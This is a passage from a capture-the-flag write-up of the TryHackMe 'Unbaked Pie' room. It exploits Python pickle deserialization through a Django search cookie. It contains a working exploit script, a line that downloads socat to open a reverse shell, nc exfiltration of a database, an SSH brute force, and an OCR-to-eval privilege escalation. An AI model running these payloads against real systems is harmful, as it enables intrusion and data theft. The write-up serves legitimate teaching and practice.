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Unbaked Pie | Jan 13, 2023

Introduction

Welcome to my another writeup! In this TryHackMe Unbaked Pie room, you’ll learn: Exploiting insecure deserialization in Python pickle library, pivoting and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: Docker root to Host ramsey
  4. Privilege Escalation: Host ramsey to Host oliver
  5. Privilege Escalation: Host oliver to Host root
  6. Conclusion

Background

Don’t over-baked your pie!

Difficulty: Medium

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|06:43:48]
└> export RHOSTS=10.10.49.15

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|06:43:51]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT     STATE SERVICE    REASON         VERSION
5003/tcp open  filemaker? syn-ack ttl 62
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Thu, 12 Jan 2023 22:44:34 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=8nLLTsolHivoGxdVET7uPFwbGzlHtDH6fXf6tFHvKS36f9tAOQeMTpXJS5VuJUd0; expires=Thu, 11 Jan 2024 22:44:34 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|     <link href="/static/vendor/fontawesome-free/css/all.min.cs
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 12 Jan 2023 22:44:35 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=wu3wQFqBQXZL9gQsvRJPL6Ye8BM2OLhNrugJCNqQ3KoqMXZu6xvDMYkwRiKOrYvZ; expires=Thu, 11 Jan 2024 22:44:35 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|_    <link href="/static/vendor/fontawesome-free/css/all.min.cs

According to rustscan result, we have 1 port is opened:

Open Ports Service
5003 HTTP

HTTP on Port 5003

Adding a new hosts to /etc/hosts:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|06:46:45]
└> echo "$RHOSTS unbaked-pie.thm" >> /etc/hosts

Home page:

In here, we see there are some posts that we can view, a search bar, login, signup page.

Let’s enumerate usernames!

Now, we can try to search something:

Burp Suite HTTP history:

When we clicked the “Search” button, it’ll set a new cookie called search_cookie, which is encoded is base64.

You can tell It’s base64 encoded is because the last 2 characters have =, which is a padding in base64 encoding.

Let’s try to decode it:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|06:51:26]
└> echo 'gASVCAAAAAAAAACMBHRlc3SULg==' | base64 -d | xxd
00000000: 8004 9508 0000 0000 0000 008c 0474 6573  .............tes
00000010: 7494 2e                                  t..

No clue what is it.

Let’s test SQL injection, XSS (Cross-Site Scripting), CSTI (Client-Side Template Injection), SSTI (Server-Side Template Injection) in the search box:

Nothing happened.

Let’s move on.

An interesting thing happened when we try to reach an non-existent article, it’ll output an exception:

This happened is because the DEBUG variable is set to Truein the Django settings file.

As you can see, it’s using Python framework: “Django” version 3.1.2, Python version is 3.8.6.

We can also see some source code of the web application:

    articles = Article.objects.all().order_by('-date')
    context = {
        'articles': articles
    }
    return render(request, 'homepage/index.html', context)

def article_details(request, slug):
    article = Article.objects.get(slug=slug)
    context = {
        'article': article
    }
    return render(request, 'homepage/post.html', context)

def about(request):

In here, we see there is a class called Article.

Hmm… What if I try to reach an non-existent file?

The /admin/ page looks interesting:

So this is the Django admin interface.

We can try to guess admin’s password, like admin:admin:

Nope. Also no luck for default credentials.

Also, the GET parameter next maybe vulnerable to open redirect?

Let’s go back to the home page.

In here, let’s try to login an account:

The “Sign Up” and “Forgot your password?” link is an empty anchor (#).

Try to login an non-existent account:

When we try to login an non-existent account, it’ll have an error output, which is in JSON format:

In that JSON data, we can see there is an inactive key, which has value: This account is inactive.. That being said, maybe we can enumerate usernames via the response?

Now, let’s signup an account and login:

Umm… Is it broken?

Let’s take a step back.

Initial Foothold

I have a feeling that we need to do something with the search_cookie:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|07:45:17]
└> echo 'gASVCAAAAAAAAACMBHRlc3SULg==' | base64 -d | xxd                                    
00000000: 8004 9508 0000 0000 0000 008c 0474 6573  .............tes
00000010: 7494 2e                                  t..

Why the decoded base64 string has some weird bytes?

After putting different puzzles together, I think this is a serialized Python object!

Let’s write a python script to figure it out:

#!/usr/bin/env python3

import pickle
from base64 import b64decode
import logging

class Serialization:
    def __init__(self, cookie):
        self.cookie = cookie

    def decodeSearchCookie(self):
        base64Decoded = b64decode(self.cookie)
        logging.info(f'Base64 decoded: {base64Decoded}')

        with open('cookie.txt', 'wb') as file:
            file.write(base64Decoded)

    def deserializeObject(self):
        with open('cookie.txt', 'rb') as file:
            deserializedObject = pickle.load(file)

        logging.info(f'Deserialized: {deserializedObject}')

    def serializeObject(self, serializeContent):
        with open('serialized.txt', 'wb') as file:
            pickle.dump(serializeContent, file)

        logging.info(f'Before serialized: {serializeContent}')

        with open('serialized.txt', 'rb') as file:
            logging.info(f'Serialized: {file.read()}')

def main():
    logging.basicConfig(level=logging.INFO, format='[*] %(message)s')

    cookie = 'gASVCAAAAAAAAACMBHRlc3SULg=='

    serialization = Serialization(cookie)
    serialization.decodeSearchCookie()
    serialization.deserializeObject()

    serializeContent = 'test'
    serialization.serializeObject(serializeContent)

if __name__ == '__main__':
    main()

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:18:49]
└> python unpickle.py
[*] Base64 decoded: b'\x80\x04\x95\x08\x00\x00\x00\x00\x00\x00\x00\x8c\x04test\x94.'
[*] Deserialized: test
[*] Before serialized: test
[*] Serialized: b'\x80\x04\x95\x08\x00\x00\x00\x00\x00\x00\x00\x8c\x04test\x94.'

Yep! The search_cookie indeed using Python library pickle to pickle (serialize).

Armed with above information, we can gain RCE (Remote Code Execution).

According to HackTricks, we can use the __reduce__ magic method to execute our OS command payload:

Let’s do that!

#!/usr/bin/env python3

import pickle
from base64 import b64decode, b64encode
import logging
import os
import requests

class Exploit():
    def __reduce__(self):
        return (os.system,("ping -c 4 10.9.0.253 ",))

class Serialization:
    def __init__(self, cookie):
        self.cookie = cookie

    def decodeSearchCookie(self):
        base64Decoded = b64decode(self.cookie)
        logging.info(f'Base64 decoded: {base64Decoded}')

        with open('cookie.txt', 'wb') as file:
            file.write(base64Decoded)

    def deserializeObject(self):
        with open('cookie.txt', 'rb') as file:
            deserializedObject = pickle.load(file)

        logging.info(f'Deserialized: {deserializedObject}')

    def serializeObject(self, serializeContent, url):
        with open('serialized.txt', 'wb') as file:
            pickle.dump(serializeContent, file)

        logging.info(f'Before serialized: {serializeContent}')

        with open('serialized.txt', 'rb') as file:
            serialized = file.read()
            base64Encoded = b64encode(serialized)
            logging.info(f'Serialized: {serialized}')
            logging.info(f'Base64 encoded: {base64Encoded}')

            finalPayload = {
                'search_cookie': base64Encoded.decode('utf-8')
            }
            
            logging.info(f'Sending a GET request to /search, so we can trigger the payload...')
            requests.get(url, cookies=finalPayload)
            logging.info(f'Payload sent...')

def main():
    logging.basicConfig(level=logging.INFO, format='[*] %(message)s')

    cookie = 'gASVCAAAAAAAAACMBHRlc3SULg=='

    serialization = Serialization(cookie)
    # serialization.decodeSearchCookie()
    # serialization.deserializeObject()

    serializeContent = Exploit()
    url = 'http://unbaked-pie.thm:5003/search'
    serialization.serializeObject(serializeContent, url)

if __name__ == '__main__':
    main()

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:36:07]
└> python unpickle.py
[*] Before serialized: <__main__.Exploit object at 0x7f33eff30220>
[*] Serialized: b'\x80\x04\x950\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x15ping -c 4 10.9.0.253 \x94\x85\x94R\x94.'
[*] Base64 encoded: b'gASVMAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBVwaW5nIC1jIDQgMTAuOS4wLjI1MyCUhZRSlC4='
[*] Sending a GET request to /search, so we can trigger the payload...
[*] Payload sent...

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:36:55]
└> tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
08:36:57.449598 IP unbaked-pie.thm > 10.9.0.253: ICMP echo request, id 631, seq 1, length 64
08:36:57.449620 IP 10.9.0.253 > unbaked-pie.thm: ICMP echo reply, id 631, seq 1, length 64
08:36:58.449952 IP unbaked-pie.thm > 10.9.0.253: ICMP echo request, id 631, seq 2, length 64
08:36:58.449983 IP 10.9.0.253 > unbaked-pie.thm: ICMP echo reply, id 631, seq 2, length 64
08:36:59.449998 IP unbaked-pie.thm > 10.9.0.253: ICMP echo request, id 631, seq 3, length 64
08:36:59.450035 IP 10.9.0.253 > unbaked-pie.thm: ICMP echo reply, id 631, seq 3, length 64
08:37:00.450310 IP unbaked-pie.thm > 10.9.0.253: ICMP echo request, id 631, seq 4, length 64
08:37:00.450340 IP 10.9.0.253 > unbaked-pie.thm: ICMP echo reply, id 631, seq 4, length 64

Nice! We have code execution!

Let’s get a reverse shell!

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:38:11]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/01/13 08:38:12 socat[70824] N opening character device "/dev/pts/1" for reading and writing
2023/01/13 08:38:12 socat[70824] N listening on AF=2 0.0.0.0:443

┌[root♥siunam]-(/opt/static-binaries/binaries/linux/x86_64)-[2023.01.13|08:39:07]-[git://master ✗]-
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

return (os.system,("wget http://10.9.0.253/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat TCP:10.9.0.253:443 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane ",))

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:40:46]
└> python unpickle.py
[*] Before serialized: <__main__.Exploit object at 0x7f420bbcc220>
[*] Serialized: b"\x80\x04\x95\xa7\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x8cwget http://10.9.0.253/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat TCP:10.9.0.253:443 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane \x94\x85\x94R\x94."
[*] Base64 encoded: b'gASVpwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjIx3Z2V0IGh0dHA6Ly8xMC45LjAuMjUzL3NvY2F0IC1PIC90bXAvc29jYXQ7Y2htb2QgK3ggL3RtcC9zb2NhdDsvdG1wL3NvY2F0IFRDUDoxMC45LjAuMjUzOjQ0MyBFWEVDOicvYmluL2Jhc2gnLHB0eSxzdGRlcnIsc2V0c2lkLHNpZ2ludCxzYW5lIJSFlFKULg=='
[*] Sending a GET request to /search, so we can trigger the payload...


┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:38:11]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:443
2023/01/13 08:38:12 socat[70824] N opening character device "/dev/pts/1" for reading and writing
2023/01/13 08:38:12 socat[70824] N listening on AF=2 0.0.0.0:443
                                                                2023/01/13 08:41:04 socat[70824] N accepting connection from AF=2 10.10.49.15:59318 on AF=2 10.9.0.253:443
                                                               2023/01/13 08:41:04 socat[70824] N starting data transfer loop with FDs [5,5] and [7,7]
                                           root@8b39a559b296:/home# 
root@8b39a559b296:/home# export TERM=xterm-256color
root@8b39a559b296:/home# stty rows 22 columns 107
root@8b39a559b296:/home# whoami;hostname;id;ip a
root
8b39a559b296
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever
root@8b39a559b296:/home# ^C
root@8b39a559b296:/home#

I’m root inside a docker container!

Privilege Escalation

Docker root to host ramsey

Let’s do some basic enumerations!

Found .dockerenv file in /:

root@8b39a559b296:/home# ls -lah /
total 76K
drwxr-xr-x   1 root root 4.0K Oct  3  2020 .
drwxr-xr-x   1 root root 4.0K Oct  3  2020 ..
-rwxr-xr-x   1 root root    0 Oct  3  2020 .dockerenv
[...]

This indicates that we’re inside a docker container.

Found SQLite database file in /home/site:

root@8b39a559b296:/home/site# ls -lah
total 184K
drwxrwxr-x 1 root root 4.0K Oct  3  2020 .
drwxr-xr-x 1 root root 4.0K Oct  3  2020 ..
drwxrwxr-x 1 root root 4.0K Oct  3  2020 account
drwxrwxr-x 8 root root 4.0K Oct  3  2020 assets
drwxrwxr-x 1 root root 4.0K Oct  3  2020 bakery
-rw-r--r-- 1 root root 148K Oct  3  2020 db.sqlite3
drwxrwxr-x 1 root root 4.0K Oct  3  2020 homepage
-rwxrwxr-x 1 root root  662 Oct  3  2020 manage.py
drwxrwxr-x 2 root root 4.0K Oct  3  2020 media
drwxrwxr-x 3 root root 4.0K Oct  3  2020 templates

Let’s transfer it!

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:49:34]
└> nc -lnvp 4444 > db.sqlite3

root@8b39a559b296:/home/site# nc 10.9.0.253 4444 < db.sqlite3

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:50:30]
└> sqlite3 db.sqlite3 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
auth_group                  django_admin_log          
auth_group_permissions      django_content_type       
auth_permission             django_migrations         
auth_user                   django_session            
auth_user_groups            homepage_article          
auth_user_user_permissions

Table auth_user:

sqlite> SELECT username, password, is_superuser FROM auth_user;
aniqfakhrul|pbkdf2_sha256$216000${Redacted}|1
testing|pbkdf2_sha256$216000${Redacted}|0
ramsey|pbkdf2_sha256$216000${Redacted}|0
oliver|pbkdf2_sha256$216000${Redacted}|0
wan|pbkdf2_sha256$216000${Redacted}|0

User aniqfakhrul is a superuser, let’s crack it’s password hash:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:58:32]
└> echo 'pbkdf2_sha256$216000${Redacted}' > aniqfakhrul.hash

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|08:58:39]
└> hashcat -m 10000 aniqfakhrul.hash /usr/share/wordlists/rockyou.txt
[...]

However, it seems like we couldn’t crack that hash.

Bash history file:

root@8b39a559b296:/home# cat /root/.bash_history | sort |uniq

./check-config.sh 
apt autoremove openssh-client
apt install grub-update
apt install nano
apt install vi
apt install vim
apt remove --purge autoremove open-ssh*
apt remove --purge autoremove openssh-*
apt remove --purge autoremove openssh=*
apt remove --purge ssh
apt update
apt-get install --reinstall grub
cd /tmp
cd bakery/
cd site/
chmod +x check-config.sh
clear
exit
grub-update
ifconfig
ip addr
ls
nano /etc/default/grub
nano settings.py 
nc
ssh
ssh 172.17.0.1
ssh 172.17.0.2
ssh ramsey@172.17.0.1
vi /etc/default/grub
wget https://raw.githubusercontent.com/moby/moby/master/contrib/check-config.sh

As you can see, there is a SSH command, which connecting to 172.17.0.1 (Host) as user ramsey.

Let’s use nc to scan all open ports:

root@8b39a559b296:/home# nc -zv 172.17.0.1 1-65535
ip-172-17-0-1.eu-west-1.compute.internal [172.17.0.1] 5003 (?) open
ip-172-17-0-1.eu-west-1.compute.internal [172.17.0.1] 22 (ssh) open

Note: The port 5003 is opened because the web application is listening on all interfaces.

Let’s use chisel to do port forwarding:

┌[root♥siunam]-(/opt/chisel)-[2023.01.13|09:20:16]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

root@8b39a559b296:/home# wget http://10.9.0.253/chiselx64 -O /tmp/chisel;chmod +x /tmp/chisel

┌[root♥siunam]-(/opt/chisel)-[2023.01.13|09:21:51]
└> ./chiselx64 server --reverse -p 8888
2023/01/13 09:21:55 server: Reverse tunnelling enabled
2023/01/13 09:21:55 server: Fingerprint xOiq4AJ7VODnEu1iXNOYHisx53zzaEeHiuqwLjpGngA=
2023/01/13 09:21:55 server: Listening on http://0.0.0.0:8888

root@8b39a559b296:/home# /tmp/chisel client 10.9.0.253:8888 R:2222:172.17.0.1:22
2023/01/13 01:37:54 client: Connecting to ws://10.9.0.253:8888
2023/01/13 01:37:55 client: Connected (Latency 211.976805ms)

Then, we can communicate to 172.17.0.1.

Since we know there is a user called ramsey, we can try to brute force SSH with hydra:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|09:38:04]
└> hydra -l 'ramsey' -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.1 -s 2222
[...]
[2222][ssh] host: 172.17.0.1   login: ramsey   password: {Redacted}

Found user ramsey’ password!

Let’s SSH into user ramsey:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|09:40:05]
└> ssh ramsey@172.17.0.1 -p 2222
ramsey@172.17.0.1's password: 
ramsey@unbaked:~$ whoami;hostname;id;ip a
ramsey
unbaked
uid=1001(ramsey) gid=1001(ramsey) groups=1001(ramsey)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:9d:2a:2d:05:b3 brd ff:ff:ff:ff:ff:ff
    inet 10.10.49.15/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::9d:2aff:fe2d:5b3/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:40:ad:94:49 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:40ff:fead:9449/64 scope link 
       valid_lft forever preferred_lft forever
5: vethce88f61@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether ce:10:16:87:86:01 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::cc10:16ff:fe87:8601/64 scope link 
       valid_lft forever preferred_lft forever

I’m user ramsey!

user.txt:

ramsey@unbaked:~$ cat /home/ramsey/user.txt 
THM{Redacted}

Host ramsey to host oliver

Again, enumerate.

Sudo permission:

ramsey@unbaked:~$ sudo -l
[sudo] password for ramsey: 
Matching Defaults entries for ramsey on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ramsey may run the following commands on unbaked:
    (oliver) /usr/bin/python /home/ramsey/vuln.py

User ramsey can run /usr/bin/python /home/ramsey/vuln.py as user oliver.

System users:

ramsey@unbaked:~$ cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
ramsey:x:1001:1001::/home/ramsey:/bin/bash
oliver:x:1002:1002::/home/oliver:/bin/bash

ramsey@unbaked:~$ ls -lah /home
total 16K
drwxr-xr-x  4 root   root   4.0K Oct  3  2020 .
drwxr-xr-x 23 root   root   4.0K Oct  3  2020 ..
drwxr-xr-x  3 oliver oliver 4.0K Oct  3  2020 oliver
drwxr-xr-x  5 ramsey ramsey 4.0K Oct  6  2020 ramsey

Listening ports:

ramsey@unbaked:~$ netstat -tunlp
[...]
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:36829         0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::5003                 :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

User ramsey home directory:

ramsey@unbaked:~$ ls -lah
total 48K
drwxr-xr-x 5 ramsey ramsey 4.0K Oct  6  2020 .
drwxr-xr-x 4 root   root   4.0K Oct  3  2020 ..
-rw------- 1 root   root      1 Oct  5  2020 .bash_history
-rw-r--r-- 1 ramsey ramsey 3.7K Oct  3  2020 .bashrc
drwx------ 3 ramsey ramsey 4.0K Oct  3  2020 .cache
drwx------ 4 ramsey ramsey 4.0K Oct  3  2020 .local
drwxrwxr-x 2 ramsey ramsey 4.0K Oct  3  2020 .nano
-rwxrw-r-- 1 ramsey ramsey 1.7K Oct  3  2020 payload.png
-rw-r--r-- 1 ramsey ramsey  655 Oct  3  2020 .profile
-rw-r--r-- 1 root   root     38 Oct  6  2020 user.txt
-rw-r--r-- 1 root   ramsey 4.3K Oct  3  2020 vuln.py

vuln.py:

ramsey@unbaked:~$ cat vuln.py 
#!/usr/bin/python
# coding=utf-8

try:
    from PIL import Image
except ImportError:
    import Image
import pytesseract
import sys
import os
import time


#Header
def header():
	banner = '''\033[33m                                             
				      (
				       )
			          __..---..__
			      ,-='  /  |  \  `=-.
			     :--..___________..--;
	 		      \.,_____________,./
		 

██╗███╗   ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗   ██╗████████╗███████╗
██║████╗  ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗  ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║  ███╗██████╔╝█████╗  ██║  ██║██║█████╗  ██╔██╗ ██║   ██║   ███████╗
██║██║╚██╗██║██║   ██║██╔══██╗██╔══╝  ██║  ██║██║██╔══╝  ██║╚██╗██║   ██║   ╚════██║
██║██║ ╚████║╚██████╔╝██║  ██║███████╗██████╔╝██║███████╗██║ ╚████║   ██║   ███████║
╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝
\033[m'''
    	return banner

#Function Instructions
def instructions():
	print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
	print "\t\t\t","1. Calculator"
	print "\t\t\t","2. Easy Calculator"
	print "\t\t\t","3. Credits"
	print "\t\t\t","4. Exit"
	print "\t\t\t",28 * "-"

def instructions2():
	print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
	print "\t\t\t","1. Add"
	print "\t\t\t","2. Subtract"
	print "\t\t\t","3. Multiply"
	print "\t\t\t","4. Divide"
	print "\t\t\t","5. Back"
	print "\t\t\t",28 * "-"
	
def credits():
	print "\n\t\tHope you enjoy learning new things  - Ch4rm & H0j3n\n"
	
# Function Arithmetic

# Function to add two numbers  
def add(num1, num2): 
    return num1 + num2 
  
# Function to subtract two numbers  
def subtract(num1, num2): 
    return num1 - num2 
  
# Function to multiply two numbers 
def multiply(num1, num2): 
    return num1 * num2 
  
# Function to divide two numbers 
def divide(num1, num2): 
    return num1 / num2 
# Main    	
if __name__ == "__main__":
	print header()
	
	#Variables
	OPTIONS = 0
	OPTIONS2 = 0
	TOTAL = 0
	NUM1 = 0
	NUM2 = 0

	while(OPTIONS != 4):
		instructions()
		OPTIONS = int(input("\t\t\tEnter Options >> "))
	        print "\033c"
		if OPTIONS == 1:
			instructions2()
			OPTIONS2 = int(input("\t\t\tEnter Options >> "))
			print "\033c"
			if OPTIONS2 == 5:
				continue
			else:
				NUM1 = int(input("\t\t\tEnter Number1 >> "))
				NUM2 = int(input("\t\t\tEnter Number2 >> "))
				if OPTIONS2 == 1:
					TOTAL = add(NUM1,NUM2)
				if OPTIONS2 == 2:
					TOTAL = subtract(NUM1,NUM2)
				if OPTIONS2 == 3:
					TOTAL = multiply(NUM1,NUM2)
				if OPTIONS2 == 4:
					TOTAL = divide(NUM1,NUM2)
				print "\t\t\tTotal >> $",TOTAL
		if OPTIONS == 2:
			animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]

			print "\r\t\t\t     Waiting to extract..."
			for i in range(len(animation)):
			    time.sleep(0.5)
			    sys.stdout.write("\r\t\t\t         " + animation[i % len(animation)])
			    sys.stdout.flush()

			LISTED = pytesseract.image_to_string(Image.open('payload.png')) 

			TOTAL = eval(LISTED)
			print "\n\n\t\t\tTotal >> $",TOTAL
		if OPTIONS == 3:
			credits()
	sys.exit(-1)

ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
                                             
				      (
				       )
			          __..---..__
			      ,-='  /  |  \  `=-.
			     :--..___________..--;
	 		      \.,_____________,./
		 

██╗███╗   ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗   ██╗████████╗███████╗
██║████╗  ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗  ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║  ███╗██████╔╝█████╗  ██║  ██║██║█████╗  ██╔██╗ ██║   ██║   ███████╗
██║██║╚██╗██║██║   ██║██╔══██╗██╔══╝  ██║  ██║██║██╔══╝  ██║╚██╗██║   ██║   ╚════██║
██║██║ ╚████║╚██████╔╝██║  ██║███████╗██████╔╝██║███████╗██║ ╚████║   ██║   ███████║
╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝


			--------- WELCOME! ---------
			1. Calculator
			2. Easy Calculator
			3. Credits
			4. Exit
			----------------------------
			Enter Options >>

Let’s break it down:

That being said, we should focus on option 2.

After the animation is finished, it’ll open image file payload.png, then using pytesseract.image_to_string() method to extract image’s text. Finally, execute eval() function from the extracted image’s text.

So, our souce (User input) is the payload.png image file, and the sink is eval(LISTED).

Armed with above information, we can create an image that contains a malicious command!

But first, let’s transfer the payload.png:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|10:01:56]
└> nc -lnvp 4444 > payload.png
listening on [any] 4444 ...

ramsey@unbaked:~$ nc 10.9.0.253 4444 < payload.png

Then, we can write a python script to test the payload:

#!/usr/bin/env python3

from PIL import Image
import pytesseract

LISTED = pytesseract.image_to_string(Image.open('payload.png'))

print(LISTED)
print(eval(LISTED))

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|10:08:08]
└> python3 extract_string_from_image.py
2+2

4

Cool.

Next, we can try to create an image that execute evil code:

payload.png:

Note: Since the vuln.py has imported os library, we can leverage that to spawn a Bash shell.

Then, transfer our evil payload.png:

┌[root♥siunam]-(~/ctf/thm/ctf/Unbaked-Pie)-[2023.01.13|10:16:45]
└> python3 -m http.server 80           
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

ramsey@unbaked:~$ mv payload.png payload.png.bak
ramsey@unbaked:~$ wget http://10.9.0.253/payload.png

After that, execute the payload:

ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py

--------- WELCOME! ---------
1. Calculator
2. Easy Calculator
3. Credits
4. Exit
----------------------------
Enter Options >> 2

Waiting to extract...
			         [■■■■■■■■■■]oliver@unbaked:~$ 
oliver@unbaked:~$ whoami;hostname;id;ip a
oliver
unbaked
uid=1002(oliver) gid=1002(oliver) groups=1002(oliver),1003(sysadmin)
